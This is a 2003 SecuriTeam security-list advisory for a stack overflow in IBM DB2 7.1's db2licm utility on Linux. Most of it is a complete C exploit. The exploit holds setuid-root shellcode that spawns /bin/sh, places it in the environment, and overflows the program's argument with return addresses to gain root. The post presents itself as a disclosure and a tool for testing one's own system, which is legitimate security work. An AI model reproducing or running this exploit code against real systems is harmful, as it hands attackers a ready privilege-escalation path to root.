[EXPL] IBM DB2 Universal Database db2licm Local Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 10/07/03
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To: list@securiteam.com Date: 7 Oct 2003 17:45:52 +0200
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IBM DB2 Universal Database db2licm Local Exploit
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/securitynews/5OP0C2AB5U.html> Multiple IBM DB2
Stack Overflow Vulnerabilities, a vulnerability in IBM DB2 allows local
users to gain elevated privileges, the following exploit code can be used
to test your system for the mentioned vulnerability.
DETAILS
Exploit:
/*
Local Exploit for db2licm
IBM db2 v 7.1 Linux/x86
vulnerability researched by
Juan Manuel Pascual Escriba
pask at uninet.edu
*/
char sc[]=
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
#define DFL_ALG 4
int main(int arc, char **arv){
char *argv[3];
char *envp[2];
unsigned long sc_address, ba=0;
unsigned char alg = DFL_ALG;
unsigned long *p;
unsigned char *q;
unsigned int i;
sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
printf("shellcode address = 0x%X\n",sc_address);
if( (sc_address & ALG_MASK) != sc_address ) {
ba = sc_address - (sc_address & ALG_MASK);
printf("adding %d trailing bytes to backward align
Shellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) -
sizeof(sc) - ba - 1;
printf("new shellcode address = 0x%X\n",sc_address);
}
envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
q = envp[0];
strcpy(q,"pete=");
q += strlen("pete=");
memcpy(q,sc,sizeof(sc));
q += sizeof(sc)-1;
memset(q,'A',ba);
q += ba;
*q = 0;
envp[1] = 0;
/* build overflowing arvg[2] */
printf("using alignment = %d in overflow buffer\n",alg);
argv[0] = DB2LICM;
argv[1] = "-a";
argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
memset(argv[2],'A',alg);
p=(unsigned long*)(argv[2]+alg);
for(i=0;i<ADDR;i++) {
*p = sc_address;
p++;
};
*p = 0;
argv[3] = 0;
printf("executing %s ...\n\n",argv[0]);
execve(argv[0],argv,envp);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:pask@uninet.edu> Juan Manuel
Pascual Escriba.
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